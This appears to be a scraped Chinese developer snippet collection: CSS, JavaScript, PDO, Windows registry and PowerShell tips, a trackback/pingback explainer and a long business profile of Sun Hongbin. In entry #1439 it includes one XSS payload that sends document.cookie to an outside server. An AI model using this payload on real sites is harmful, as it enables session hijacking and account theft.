#1426
#1427
<style>@import "compass/css3"; body { font-family: "Helvetica Neue"; font-size: 20px; font-weight: normal; } section { max-width: 450px; margin: 50px auto; div { max-width: 255px; word-wrap: break-word; margin-bottom: 20px; line-height: 24px; } } .clear {clear: both} .from-me { position:relative; padding:10px 20px; color:white; background:#0B93F6; border-radius:25px; float: right; &:before { content:""; position:absolute; z-index:-1; bottom:-2px; right:-7px; height:20px; border-right:20px solid #0B93F6; border-bottom-left-radius: 16px 14px; -webkit-transform:translate(0, -2px); } &:after { content:""; position:absolute; z-index:1; bottom:-2px; right:-56px; width:26px; height:20px; background:white; border-bottom-left-radius: 10px; -webkit-transform:translate(-30px, -2px); } } .from-them { position:relative; padding:10px 20px; background:#E5E5EA; border-radius:25px; color: black; float: left; &:before { content:""; position:absolute; z-index:2; bottom:-2px; left:-7px; height:20px; border-left:20px solid #E5E5EA; border-bottom-right-radius: 16px 14px; -webkit-transform:translate(0, -2px); } &:after { content:""; position:absolute; z-index:3; bottom:-2px; left:4px; width:26px; height:20px; background:white; border-bottom-right-radius: 10px; -webkit-transform:translate(-30px, -2px); } }</style> <section> <div class="from-me"> <p>Hey there! What's up?</p> </div> <div class="clear"></div> <div class="from-them"> <p>Checking out iOS7 you know..</p> </div> <div class="clear"></div> <div class="from-me"> <p>Check out this bubble!</p> </div> <div class="clear"></div> <div class="from-them"> <p>It's pretty cool!</p> </div> <div class="clear"></div> <div class="from-me"> <p>Yeah it's pure CSS & HTML</p> </div> <div class="clear"></div> <div class="from-them"> <p>Wow that's impressive. But what's even more impressive is that this bubble is really high.</p> </div> </section>
#1428
<input type="file" onchange ="startt(this);"> <script> /*转换函数*/ function startt(img) { var imgFile = new FileReader(); imgFile.readAsDataURL(img.files[0]); imgFile.onload = function () { var imgData = this.result; //base64数据 alert(imgData); /*imgShow.setAttribute('src', imgData); conte.value = imgData; len.innerHTML += imgData.length; */ } } </script>
#1429
<div style="width:100px;"> <div style=" width:100%; height::0; padding-bottom:50%;/*这里可以设定比例*/ background:url(https://lizhenqiu.com/favicon.ico); "></div> </div>
#1430
#1431
#1432
#1433
#1434
CSS ::-webkit-scrollbar { /* 1 */ } ::-webkit-scrollbar-button { /* 2 */ } ::-webkit-scrollbar-track { /* 3 */ } ::-webkit-scrollbar-track-piece { /* 4 */ } ::-webkit-scrollbar-thumb { /* 5 */ } ::-webkit-scrollbar-corner { /* 6 */ } ::-webkit-resizer { /* 7 */ }
http://www.lyblog.net/detail/314.html http://runjs.cn/code/mperijd6
html::-webkit-scrollbar-track { -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); background-color: #F5F5F5; } html::-webkit-scrollbar { width: 6px; background-color: #F5F5F5; } html::-webkit-scrollbar-thumb { background-color: #000000; }
::-webkit-scrollbar 滚动条整体部分 ::-webkit-scrollbar-thumb 滚动条里面的小方块,能向上向下移动(或往左往右移动,取决于是垂直滚动条还是水平滚动条) ::-webkit-scrollbar-track 滚动条的轨道(里面装有Thumb) ::-webkit-scrollbar-button 滚动条的轨道的两端按钮,允许通过点击微调小方块的位置。 ::-webkit-scrollbar-track-piece 内层轨道,滚动条中间部分(除去) ::-webkit-scrollbar-corner 边角,即两个滚动条的交汇处 ::-webkit-resizer 两个滚动条的交汇处上用于通过拖动调整元素大小的小控件
#1435
#1436
#1437
#1438
#1439
Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly]
"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--
#1440
#1441
Windows Registry Editor Version 5.00 ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.jpg] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.jpeg] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.gif] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.png] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.bmp] @="PhotoViewer.FileAssoc.Tiff" ;本文转自:www.xitonghe.com ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.tiff] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.ico] @="PhotoViewer.FileAssoc.Tiff"
添加照片查看器.reg
#1442
Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)AppXManifest.xml"}
#1443
$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass"); $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果 $dbh->exec("set names 'utf8'");
SELECT * FROM blog WHERE userid IN ( ? );
SELECT * FROM blog ORDER BY ?;
SELECT EXTRACT( ? FROM datetime_column) AS variable_datetime_element FROM blog;
$st->execute(); $result = $st->fetchAll();
$stm = $pdo->prepare("select * from users where user = :user"); $user = "jack"; //正确 $stm->bindParam(":user",$user); //错误 //$stm->bindParam(":user","jack"); //正确 $stm->bindValue(":user",$user); //正确 $stm->bindValue(":user","jack");
$stm = $pdo->prepare("call func(:param1)"); $param1 = "abcd"; $stm->bindParam(":param1",$param1); //正确 $stm->execute();
<?php $stm = $pdo->prepare("select * from users where user = :user"); $user = "jack"; //正确 $stm->bindParam(":user",$user); //错误 $stm->bindParam(":user","jack"); //正确 $stm->bindValue(":user",$user); //正确 $stm->bindValue(":user","jack"); //所以使用bindParam是第二个参数只能用变量名,而不能用变量值,而bindValue至可以使用具体值。 ?>
<?php function readData ( $dbh ) { $sql = 'SELECT name, colour, calories FROM fruit' ; try { $stmt = $dbh -> prepare ( $sql ); $stmt -> execute (); /* 通过列号绑定 */ $stmt -> bindColumn ( 1 , $name ); $stmt -> bindColumn ( 2 , $colour ); /* 通过列名绑定 */ $stmt -> bindColumn ( 'calories' , $cals ); while ( $row = $stmt -> fetch ( PDO :: FETCH_BOUND )) { $data = $name . "\t" . $colour . "\t" . $cals . "\n" ; print $data ; } } catch ( PDOException $e ) { print $e -> getMessage (); } } readData ( $dbh ); ?>
#1444
<input type="color" name="" id="colorSelect" value="" /> <canvas id="canvas" width="320" height="200" style="border:1px solid #eee;">您的浏览器不支持canvas</canvas> <script> var selector = document.getElementById("colorSelect"); selector.onchange = function(){ var color = this.value; var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var w = canvas.width , h = canvas.height; ctx.fillStyle = color; ctx.fillRect(0, 0, w, h); } </script>
<input type="color" name="" id="newcolorSelect" value="" /> <script> var selector = document.getElementById("newcolorSelect"); selector.onchange = function(){ var newcolor = this.value; alert(newcolor); } </script>
确定要清除编辑框内容吗?
该删除操作将不可恢复。
删除 取消
激活Windows
转到"设置"以激活Windows。
#1426
#1427
<style>@import "compass/css3"; body { font-family: "Helvetica Neue"; font-size: 20px; font-weight: normal; } section { max-width: 450px; margin: 50px auto; div { max-width: 255px; word-wrap: break-word; margin-bottom: 20px; line-height: 24px; } } .clear {clear: both} .from-me { position:relative; padding:10px 20px; color:white; background:#0B93F6; border-radius:25px; float: right; &:before { content:""; position:absolute; z-index:-1; bottom:-2px; right:-7px; height:20px; border-right:20px solid #0B93F6; border-bottom-left-radius: 16px 14px; -webkit-transform:translate(0, -2px); } &:after { content:""; position:absolute; z-index:1; bottom:-2px; right:-56px; width:26px; height:20px; background:white; border-bottom-left-radius: 10px; -webkit-transform:translate(-30px, -2px); } } .from-them { position:relative; padding:10px 20px; background:#E5E5EA; border-radius:25px; color: black; float: left; &:before { content:""; position:absolute; z-index:2; bottom:-2px; left:-7px; height:20px; border-left:20px solid #E5E5EA; border-bottom-right-radius: 16px 14px; -webkit-transform:translate(0, -2px); } &:after { content:""; position:absolute; z-index:3; bottom:-2px; left:4px; width:26px; height:20px; background:white; border-bottom-right-radius: 10px; -webkit-transform:translate(-30px, -2px); } }</style> <section> <div class="from-me"> <p>Hey there! What's up?</p> </div> <div class="clear"></div> <div class="from-them"> <p>Checking out iOS7 you know..</p> </div> <div class="clear"></div> <div class="from-me"> <p>Check out this bubble!</p> </div> <div class="clear"></div> <div class="from-them"> <p>It's pretty cool!</p> </div> <div class="clear"></div> <div class="from-me"> <p>Yeah it's pure CSS & HTML</p> </div> <div class="clear"></div> <div class="from-them"> <p>Wow that's impressive. But what's even more impressive is that this bubble is really high.</p> </div> </section>在线小三角css提示tipscssarrowplease
#1428
js小工具---本地图片转换为base64编码数据
<input type="file" onchange ="startt(this);"> <script> /*转换函数*/ function startt(img) { var imgFile = new FileReader(); imgFile.readAsDataURL(img.files[0]); imgFile.onload = function () { var imgData = this.result; //base64数据 alert(imgData); /*imgShow.setAttribute('src', imgData); conte.value = imgData; len.innerHTML += imgData.length; */ } } </script>#1429
<div style="width:100px;"> <div style=" width:100%; height::0; padding-bottom:50%;/*这里可以设定比例*/ background:url(https://lizhenqiu.com/favicon.ico); "></div> </div>你需要做一个高宽比固定的容器,
这里有一个比较偏的小技巧,就是padding-bottom是按照父元素的宽度比计算的,而不是按高度算,所以这里可以用溢出
给父元素宽度值,子元素宽度100%
参考纯 CSS 实现高度与宽度成比例的效果
div不设置高度自动自适应图片高度获取高度背景css容器后高度
#1430
Windows:C#
Android:Kotlin
iOS:Swift
#1431
#1432
$('#up').click(function(){
//动画效果,平滑滚动回到顶部
$('body').animate({ scrollTop: 0 });
//不需要动画则直接
//$('body').scrollTop(0)
})
margin-left,margin-right等同时使用可以自动拉宽高度?
css样式中,fixed的和absolute有一样的特性,我们并没有给这个div设置高度,而是通过:top:0;bottom:0;来设置div的高度。这个好理解,就是说这个div上顶着天,下踩着地,那就是百分百的高度了。
通过top,bottom联合定位使用,就可以确定absflex div的自适应高度
top优先了,left和right也一样,left优先?还是谁在前谁优先?
一、使用position+top/bottom/left/right布局时可以忽略block元素换行的影响。
二、浮动布局在三列的情况下不能实现左右两列固定大小,中间填充的效果。(postion可以)。
三、使用position布局时,在ie6中,对同一对像不能同时使用top/bottom,但可以同时使用left/right。
四、使用position布局时应该先在父容器中设置好position:absolute,然后在本对像中也设置好position:absolute。
五、三列布局,且左右两边大小固定,中间填充的方法是左边设置top/left,右边设置right/top。而中间设置top/left/right,并且一定要把width设为100%。
六、在ie6中需要在body中设置height:100%才能在垂直布局中使对像申展到预期frame的大小。
七、关于ie hack。ie7只认*,ie6认_和*。
#1433
这样就防止某些屏蔽规则不禁加载本地ads.js文件了
#1434
CSS ::-webkit-scrollbar { /* 1 */ } ::-webkit-scrollbar-button { /* 2 */ } ::-webkit-scrollbar-track { /* 3 */ } ::-webkit-scrollbar-track-piece { /* 4 */ } ::-webkit-scrollbar-thumb { /* 5 */ } ::-webkit-scrollbar-corner { /* 6 */ } ::-webkit-resizer { /* 7 */ }以上CSS代码所管辖的区域对就关系:以上注释中的数字与下图中数字相对应。
上图正如如下所言:
::-webkit-scrollbar 滚动条整体部分,其中的属性有width,height,background,border(就和一个块级元素一样)等。
::-webkit-scrollbar-button 滚动条两端的按钮。可以用display:none让其不显示,也可以添加背景图片,颜色改变显示效果。
::-webkit-scrollbar-track 外层轨道。可以用display:none让其不显示,也可以添加背景图片,颜色改变显示效果。
::-webkit-scrollbar-track-piece 内层轨道,滚动条中间部分(除去)。
::-webkit-scrollbar-thumb 滚动条里面可以拖动的那部分
::-webkit-scrollbar-corner 边角
::-webkit-resizer 定义右下角拖动块的样式
注意:对以上各个部分定义width,height时。有如下功能:若是水平滚动条,则width属性不起作用,height属性用来控制滚动条相应部分竖直方向高度;若是竖直滚动条,则height属性不起作用,width属性用来控制相应部分的宽度。
http://www.lyblog.net/detail/314.html http://runjs.cn/code/mperijd6自定义浏览器滚动条的样式,打造属于你的滚动条风格
自定义滚动条-谷歌浏览器
webkit内核的浏览器滚动条定制
html::-webkit-scrollbar-track { -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); background-color: #F5F5F5; } html::-webkit-scrollbar { width: 6px; background-color: #F5F5F5; } html::-webkit-scrollbar-thumb { background-color: #000000; }::-webkit-scrollbar 滚动条整体部分 ::-webkit-scrollbar-thumb 滚动条里面的小方块,能向上向下移动(或往左往右移动,取决于是垂直滚动条还是水平滚动条) ::-webkit-scrollbar-track 滚动条的轨道(里面装有Thumb) ::-webkit-scrollbar-button 滚动条的轨道的两端按钮,允许通过点击微调小方块的位置。 ::-webkit-scrollbar-track-piece 内层轨道,滚动条中间部分(除去) ::-webkit-scrollbar-corner 边角,即两个滚动条的交汇处 ::-webkit-resizer 两个滚动条的交汇处上用于通过拖动调整元素大小的小控件#1435
所谓 referrer 是一个外部站点,用户单击该站点上一个超链接便可以到达你的网站。许多网志引擎当读者导航到你的网志的某个入口时都能自动保持跟踪。大多数引擎都会在网志入口底部显示一个 referrers 清单,以便读者能往回导航到 referrer 的站点,并清楚他们关于该入口要说些什么,这基于一个假设,那就是如果他们链接到它,可能就此会写些什么。referrer 存在的问题是必须要有这个假设才成立——没有足够的信息说明是否引用的页面事实上包含有关信息。实际上,垃圾信息的发布者为了营销企图已经利用了这个漏洞来重定向读者。
Trackback 和 pingback 同一个规范,被用来弥补上述问题的方案。使用 trackback 和 pingback,其他博客们能自动发送一个 ping 到你的网志以明确表示他们已经写了一个引用特定帖子的入口。
这种类型的反链允许你的网志以更明显的方式显示所有评论的清单。当今大多数网志软件支持所有这些技术。
在Movable Type和WordPress软件中,包含有该功能。这种功能通过在博客之间互相“ping”的机制,实现了网站之间的互相通告;因此,它也可以提供提醒功能。
TrackBack功能一般出现在一个博客文章的下方,同时会显示对方博客的摘要信息、URL和网志标题。
TrackBack规范由Six Apart在2000年制订,并在Movable Type 2.2中予以实现。
Trackback我们都知道是自己在自己的Blog上撰文回应别人的文章,那么别人的文章的回复中会有trackback from的字样.但是我很早又注意到有trackback和pingback之分,在很多Blog的回复都看到除了comments(回复)外,还有trackback和pingback,但一直不清楚这两者有什么区别,如何才是Pingback呢?
如果你后台打开了”对文章中提到的其它网站的网页链接发送通告(会降低保存文章的速度)”这个选项的话,那么你的文章中如果有相应的URI,那么wordpress就会向这个文章发送ping,这个过程就应该是pingback,而且很有意思的是,对方回复中不会像trackback那样显示excerpt或者是正文的头部文字,而是显示出提到你的URI的那一段文字—让人疑惑好久,区别于trackback的另一种ping.
1,功能
从普通blogger的眼观看,Pingback和Trackback的作用是一样的:
1。博客A发布了一篇文章;
2。博客B看到后,发布评论、引用、介绍博客A上该篇文章的贴子;
3。在文章发布时,博客B即自动向博客A发送Pingback或TrackBack;
4。博客A收到相应的Pingback或TrackBack,如果未设置人工审核,相应的内容即会出现在博客A该文的留言中,如果设置了人工审核,则出现在博客A的审核列表中,俟博客A认为不是spam后将其发布在留言中。
即,Pingback或TrackBack通过自动连接相互引用的blog,使blog内容相关性进一步提高,进而形成以内容为导向的聚合性网络。
2,区别:
pingback在WP中是自动的,而trackback则需要你在自己的blog“撰写文章”、或者在别人的blog写“评论”的时候手动输入。
更专业的说法就是:
pingback是blog系统的自动ping通信机制,用于实现上述内容聚合功能。正如yskin所说,pingback成功后,在对方日志里显示的摘要来自于你文章中放置引用原文的链接附近。
而trackback则是人为发送内容聚合的方法。在对方日志里显示的摘要则是你的这篇文章的摘要部分。
(关于在摘要是否出现以及出现的方式等,也如yskin所说:要依赖于blog系统以及blogger的自主设置)。
3,ping
ping事实上与操作系统的ping命令在动作上一致:按照一定的协议相互通信。只不过内容区别很大而已。
上述pingback和trackback都需要ping机制和ping动作实现,但是blog系统的ping不仅仅用于上述功能。
例如通知feedburner更新feed都是要ping的。
4,谨防垃圾评论
这个不多说了,使用pingback和trackback无疑会增大bolg的被电击率,扩大影响。但随之而来的就是垃圾评论,解决方法:
开启评论审核机制;
开启垃圾评论过滤机制。
前几天看了一下WordPress的源代码,确实是WordPress同时支持Pingback和Trackback。WordPress不仅可以接受发来的Pingback和Trackback,而且可以同时发出这两种。文章里自动查找链接然后发出的是Pingback,而手工填写Trackback地址发出的是Trackback。
另外,关于ping,WordPress里的ping的全称是XML-RPC ping,它使用XML-RPC,向服务器发送一个ping命令。可以参考Technorati网站的说明:http://technorati.com/developers/ping/ ,发送的xml里方法名是:weblogUpdates.ping。
XML-PRC ping和网络上的ping功能(比如Windows下的ping命令)也有一点相似。ping命令发送ICMP包给目标服务器,目标服务器收到后返回一个ICMP包做响应。ping命令找出里面的TTL等信息,然后计算发送到收到相应的时间,显示给用户。XML-PRC ping则是发送一个请求,请求执行一个叫做"ping"的方法,而服务器收到后执行ping方法,一般是读取feed,或者有一些转发服务,将ping信息转发给其他多个ping服务器。然后,服务器通常会返回一个信息,有说OK,也有不返回的。
在金山词霸网站查到,ping一词的解释是查验。网络的ping或许就是查验,检查的意思,ping一下某个IP,就是发送一个信息,然后等待该IP返回一个回应,以确定该IP的服务器是否在网络中,是否正常工作,也确定本机到该IP的网络通路是畅通的。而XML-PRC ping,则是通知,通知服务器赶快来更新自己的feed
什么是引用 (Trackbacks)?
简单说来,Trackback是网站与网站之间互相通告的一种方法。它能让甲对乙说:“这篇文章可能是你感兴趣的”,要实现这一动作,甲向乙发送一个 Trackback Ping(引用通告)即可。在这种情况下,一个 Ping 就是一条从一个web服务器发送到另一个服务器的短消息(a small message)。
甲在自己的 Blog 中写文章,对乙Blog中的随笔发表评论。这是远程评论的一种形式--不必直接在乙的Blog中发表评论,甲只要在自己的Blog中发表,然后发送一个引用通告通知乙。
甲对于一群人都感兴趣的主题发表文章。这是内容集合的一种形式--通过发送一个引用通告到中心服务器,访问者可以读到有关此主题的所有文章。例如,假定有一个收集有关 Justin Timberlake 文章的网站,任何对此感兴趣的人都可能通过访问这个网站,得到其它Blog上有关于此的最新情况。
如何在 .Text 中使用引用?
你什么也不必做。当你发表了一篇文章,.TEXT 会检查文章内容中包含的所有链接, 并自动向每个链接地址发送引用。
对于你文章内容中的每一个链接,.TEXT 会搜索被链接页的全部内容,寻找引用部分,此部分包含当前链接的引用终点。如果终点找到,产生一个包含你文章详细资料的引用通告。详细资料包括你文章和 Blog 的标题、链接地址。
当你查看你 Blog 的引用的时候,通过点击引用页的“新建”链接,可以把任何链接直接转换为引用。这是从你要实现引用的网站显示相关链接的便捷方法。
#1436
浓眉大眼的山西商人孙宏斌年轻时喜欢看武侠小说。
他向往四年一度的武林盟主大会,欣赏高手过招点到为止的风度,当然,武功好的主人公能娶几个老婆,也是快意淋漓之事。
如今,孙宏斌54岁,活成了武侠里的高手模样:被逐师门、蹲监狱、十三载洗冤、自立门派,还有几桩黄掉的豪门亲事成为江湖传说。
今年他再娶亲,150亿彩礼换回山西老乡贾跃亭在大婚之日的羞涩一笑。后者在江湖以极富野心的冒险家闻名,婚时麻烦缠身。
孙宏斌接管了贾跃亭的麻烦。
精明如他,在36天恋爱期里就看透了机遇。很快,他像处理家事一样熟练上手,要把乐视慢慢变成自己想要的样子。
他显然是位体贴的侠客。昨天贾跃亭刚刚宣布辞去乐视网总经理职务,今天上午,孙宏斌就紧接着表态:乐视网是老贾的半条命,也是我的本条命。
但一家人其乐融融的表象之下,孙宏斌的矛,寒光已现。
1、被逐师门的年轻人
初入江湖时,孙宏斌手无长物。柳传志给了他第一把矛。
他耍得很好,“快”成为他的标签——带着一帮年轻人,这位25岁的企业部经理在2个月内建起13家独资分公司,年底销售额2400万。1990年,他被破格提拔为联想集团企业发展部经理,全国18家分公司由他管理。
柳传志评价:这是一个少见的能一眼把行业看到底的人。当时,柳常驻香港拓展业务,孙宏斌被认为是他钦定培养的接班人。
然而,孙宏斌的联想两年风光日子,在1990年春天戛然而止。
导火索是企业部办的一份内刊《联想企业报》,它独立于官方内刊《联想报》,如同孙宏斌本人一样野心勃勃,头版赫然写着"企业部纲领"第一条是:企业部的利益高于一切。
柳传志看到了。自立山头的危险信号让他很快赶回来调查。十几年后,他承认,那是唯一让他觉得心里有点发慌的时刻。
一个月的调查里,企业部抱团严重、财务不受集团控制、分公司人选全由孙宏斌一手选定等问题,逐渐浮出水面。
但孙宏斌跟他的年轻人们还没有察觉。
一次柳传志在企业部训话,提出孙宏斌有搞帮会、小山头的苗头,几位年轻人居然站起来逐条反驳。训话现场变成一锅乱粥,柳传志拂袖离去。
孙宏斌当时不在场。会后,柳传志要求开除这几个年轻人,孙傲然拒绝了。
随后的故事就是一场经典的门派清理大戏。
根据《联想风云》书中披露的信息,在拒绝柳传志做出的调离企业部经理岗位安排后,1990年4月9日,孙宏斌在早会上听到了一个最新处理:停职反省。随后,他被带到东北旺联想生产基地的一座公寓楼里,在至少两个人的监视下失去自由。
骄傲与狂妄让他跌入这处深渊。
事发前一晚,柳传志找他最后谈过,希望好合好散,今后做朋友,孙宏斌可以随便选择一个分公司去干。后者断然拒绝:
不必了,柳总。我还年轻,我才二十几岁,我自己走。
当时他还太年轻,无法看清柳传志最后关头送来的这把盾有多重要。
5月8日,孙宏斌被警方刑事拘留,8月,法院以挪用公款13万元的罪名,判处其有期徒刑5年。
这是他从来没想到过的结局。被软禁时,曾有企业部的年轻人跑来“劫狱”,孙宏斌还呵斥他们离开,自信不会有事。
然而江湖就是这么残酷。曾经最器重他的柳传志,狠心收走了他手里的矛。
2、复出再战,再败
孙宏斌再捡起他的矛,已经是4年之后了。
在监狱里的时光,是一场关乎定力与心性的修炼。孙宏斌后来形容这段日子。
“一天一天,在那里面度日如年,但是又度年如日……每一天是完全一样的……一年过去和一天一样,但是过一天也跟过一年一样。”
1994年3月,他走出监狱大门。
18天后,他跟柳传志坐在了新世纪饭店顶层的川菜馆里。态度平和的孙宏斌向柳传志道歉,并告诉对方准备去做房地产代理。柳传志当场表示愿意以个人名义投钱入股,孙宏斌暂时拒绝了。
饭桌上,孙宏斌保证,今后不会再入IT行业。
与柳传志的这顿饭,宣布孙宏斌与过去达成了和解。事后有朋友质疑,他解释,如果出来以后拎把刀子去把柳传志给宰了,今后谁也不敢来打交道,这辈子就真完了。
他不甘心就这样平庸。回到天津后,他开始准备创办房地产代理公司。
这条路上依然有柳传志的影子。柳在早期提供了50万的资金相助,而公司的前身,是顺驰、联想、中科合作成立的天津中科联想房产开发有限公司。1998年,联想和中科按照合约退出,公司才更名为天津顺驰投资有限公司。
矛已经不是当初的那支矛,但孙宏斌的打法,还是当年在联想的那套快手招数。
他先花了4年时间,把顺驰从房产中介公司变成开发商,此后4年,他在天津开发近30个项目,生生把行业的开发周期从18个月压缩到7个月。2002年,顺驰在天津做到10亿销售额,次年,孙宏斌开始扩张。
从2003年到2004年,顺驰的影子陆续出现在全国十几座城市,屡屡跟“天价”、“地王”捆绑在一起。
当年那个黯然离场的持矛侠客,如今又高调了回来。
彼时他已经洗清污点。2003年,法院重审当年那桩案件,孙宏斌被判无罪。
2003年莽山会议,孙宏斌怼了王石,一战成名。当着上百家地产商的面,他口出狂言:“顺驰地产的销售额将来要超过在座的席位,包括王总。”
一石惊起千层浪。
王石当场回应“我认为这是吹牛”。
孙宏斌说干就干,很快启动黑马计划,在全国疯狂拿地。到年底,顺驰销售额为45亿,万科是63亿。头年,万科销售收入44亿的时候,顺驰才14亿。
现在看来,当年的孙宏斌其实跟后来的贾跃亭有相似之处:狂飙之中,埋下资金链脆弱的风险。在次年8月的博鳌论坛上,王石发出警告:顺驰扩张贪大求快,很容易导致资金链崩溃。
一语成谶。
2006年.顺驰陷入严重缺钱又寻求上市无果的困境,9月,孙宏斌以12.8亿的低价,把顺驰55%的股份卖给了路劲基建。
消息宣布后,孙宏斌又消失在江湖。有媒体报道,那段低潮期,孙宏斌经常唱一首歌《一无所有》。
“我想不明白他为什么这么着急”,对于孙宏斌的这段失败,柳传志曾感慨:“我提醒过他,在扩张时一定要注意资金链,二是,有些话不要说得太满”。
在这位身经百战的老江湖眼里,此时的孙宏斌,还是有点嫩。
3、江湖混战
这次,孙宏斌在顺驰丢下的矛,在融创拾了起来。
这家公司创办于2003年,一度也陷入脱缰野马的困境。2005年到2006年,孙宏斌开始整治,以亏损数百万的代价退出长三角,大幅出售与回购股权——几贴猛药之下,融创逐渐复苏。
融创成为孙宏斌第二次重出江湖的发力点。他定下两个标准:第一管好现金流,第二盯准一线城市。此前遍地开花的野蛮模式被放弃了。
矛还在,但打法已经不一样了。他少了些狂妄之气,多了稳健和低调,现金流成为他在公开场合提及最多的话题之一。
他不再怼人。即使在2008年这样的低谷期拿下西北旺地王项目,他也保持着低调。
2013年,融创以21亿总价拿下农展馆地块,成为北京新地王,孙宏斌在微博上克制地表达了信心,遭遇王石隔空喊话:“精明的李嘉诚先生在卖北京、上海的物业,这是一个信号,小心了!”
三天后,孙宏斌客客气气地回应,解释自己看法,末了加上一句:
“感谢王总的提醒。我们会以如履薄冰如临深渊态度对待风险”。
谨慎谦虚,如同这个圈子里的大多地产商人。
此时的孙宏斌手里除了矛,还多了一把盾。
他曾经在微博感慨,2004年顺驰上市时只有矛没有盾,等到2009年融创上市,就只有盾没有矛了。
“全天下都知道我只会使矛。其实矛和盾都必要,不同场合不同时间,有时候要一手执矛一手握盾,有时候要双手执矛,有时候要双手握盾”。
不过,在江湖之中,矛与盾的配合并非时时完美。比如从2014年开始,融创三年内发起的三场并购,均以失败告终。
其中,融创中国与绿城的收购案,已经成为MBA案例。
这场收购的前戏时间很长。从2011年孙宏斌网上声援陷入危机的绿城,到11月初买房以示支持,再到12月,孙宏斌购入绿城51%股权。
次年,融创又以33.7亿元的价格收购了绿城在上海、无锡、苏州等9个项目的50%股权,其中多为绿城此前拿下的地王。这些项目后来被装进了双方合资公司:上海融绿。
那段时间,孙宏斌与宋卫平频频公开秀恩爱。比如宋卫平曾表示,融绿合作由融创主导,才能达到1加1大于4的效果。
故事的高潮发生在2014年5月,宋卫平要退休,把股权转让给融创,“天下本一家,有德者掌之”,他解释。
但这场价值60多亿的股权转让没能成功,香港证监会插了一腿,质疑孙宏斌与宋卫平是一致行为人,这意味着融创需要拿出200亿完成全面收购。而当时融创市值不过100多亿。
尴尬的是,融创的60亿收购款已经付给绿城,宋卫平也把管理权交给了融创。后者已经派出团队进驻绿城,一切只差官方流程。
事情最后变得棘手起来。
宋卫平也开始变主意。在收到一些业主、供货商的投诉后,他担心绿城房子品质不保品牌受损,决定回归。双方开始多轮谈判。车轮战持续到当年12月,最后,绿城同意返还融创此前支付的收购款,并支付约10%的利息。
协议达成前,宋卫平在公开检讨中称,“将绿城卖给了一个不应该卖的人”。双方协调期间,警方甚至一度出动。临了,宋卫平又感慨:融创还是兄弟,但兄弟靠不住。
相比之下,孙宏斌倒是很安静。
生意场上没有四年一度的武林盟主大会,但厮杀却无处不在。手起刀落之间,孙宏斌越发低调。
“过去两年融创中国将大量的管理人员投入到绿城、佳兆业、雨润等项目的并购上,可以说是帮别人干活,有点原地踏步的感觉”,孙宏斌曾这样反思。绿城之后,融创对佳兆业、雨润的两场收购都以失败收场。
好在2016年9月,融创终于完成一笔漂亮的收购:138亿元收购联想控股旗下的融科智地。对于孙宏斌来说,这或许是一个意义非凡的关键时刻。
很长一段时间里,孙宏斌似乎还憋着联想的那股气。
有熟悉孙的人表示,孙宏斌在2004年提出顺驰要做到1000亿销售目标时,其实对标企业是联想。当时,万科销售额不过100多亿。
而在顺驰疯狂扩张时,他大量启用年轻人,团队里鲜有40岁以上的。代表顺驰拍下天价地块的年轻人,甚至不用向孙宏斌电话请命就能决定。这在业内是很少见的。
这是孙宏斌为追求高效的用人之道,其实也是在向柳传志喊话:自己跟那帮年轻人当年是值得信任的。
4、白武士的心机
孙宏斌很精明。每一场出击,每一次亮出矛或盾,他都明白自己要什么。
“我骨子里是一个偏理性的人,厌恶风险,自己开车很慢,不允许司机开快车,过马路一定等人行道绿灯”,他曾在微博中写道。
生活中如此,江湖行走时更是如此。
虽然与绿城、佳兆业、雨润的几门亲事都没成,借助这些并购案,孙宏斌迅速扩大了自己的势力范围。比如并购绿城帮助融创扩大了华东区域版图。而在结束对佳兆业的收购后,融创一年内在珠三角拿下10个项目——这正是佳兆业的地盘。
今年1月牵手乐视,孙宏斌再得新欢,以150亿资金成为乐视二股东,一度被称为是拯救贾跃亭的白武士。
这笔投资只用了36天就敲定,依然是孙宏斌式的疯狂速度——他也有底气,根据公开数据,融创在2016年的销售金额为1506亿,同比增长121%。
江湖之事说到底其实很简单:利益。
孙宏斌看得很清楚:这是一桩买卖。经历与宋卫平的风波后,孙宏斌曾经明确表示:别扯情怀,很Low。宋被称为地产界的情怀主义者。
在这桩新婚事中,被贾跃亭打烂的一手牌,对于孙宏斌来说却暗藏机遇。比如乐视强大的拿地能力——在浙江莫干山,当地政府给贾跃亭批了一万多亩地,而融创费大劲才通过收购拿到几千亩。
拿到乐视的资源后,融创今后的拿地故事就有得说了。
但问题是,孙宏斌式的乐视改造,贾跃亭是否能接受?在融创对绿城的收购案中,宋卫平复出的重要理由,就是来自业主和供应商关于品质下降的投诉。
卸下乐视网总经理职务的贾跃亭,会成为第二个宋卫平吗?
答案尚不可知。
“乐视姓贾还是姓孙?”昨天,乐视关于贾跃亭卸任等人事变动的媒体沟通会上,有记者也抛出了这样的问题。贾跃亭回应,融创扮演的是支持者角色,两者不存在控制权之争。
而今天上午,在融创中国的股东大会上,孙宏斌也再次强调:“乐视上市体系,这是老贾的半条命,也是我的半条命。”
至于梁军出任CEO,那只是执行合同里的约定,也是体系走向成熟的标志。
“我要控制权干嘛,累不累?”他表示,从来不干别人的活,只做自己的事情。
但事实胜于雄辩。
考虑到融创此前几笔收购的失败过往,加上最近乐视更换财务总监等诸多动静,一切似乎都在指向:这桩婚事并不简单。贾跃亭或许会为这150亿彩礼,付出更多代价。
不过,眼下孙宏斌还需要更多时间,把乐视的故事变成自己的故事。
看,他的矛又要出手了。
#1437
#1438
#1439
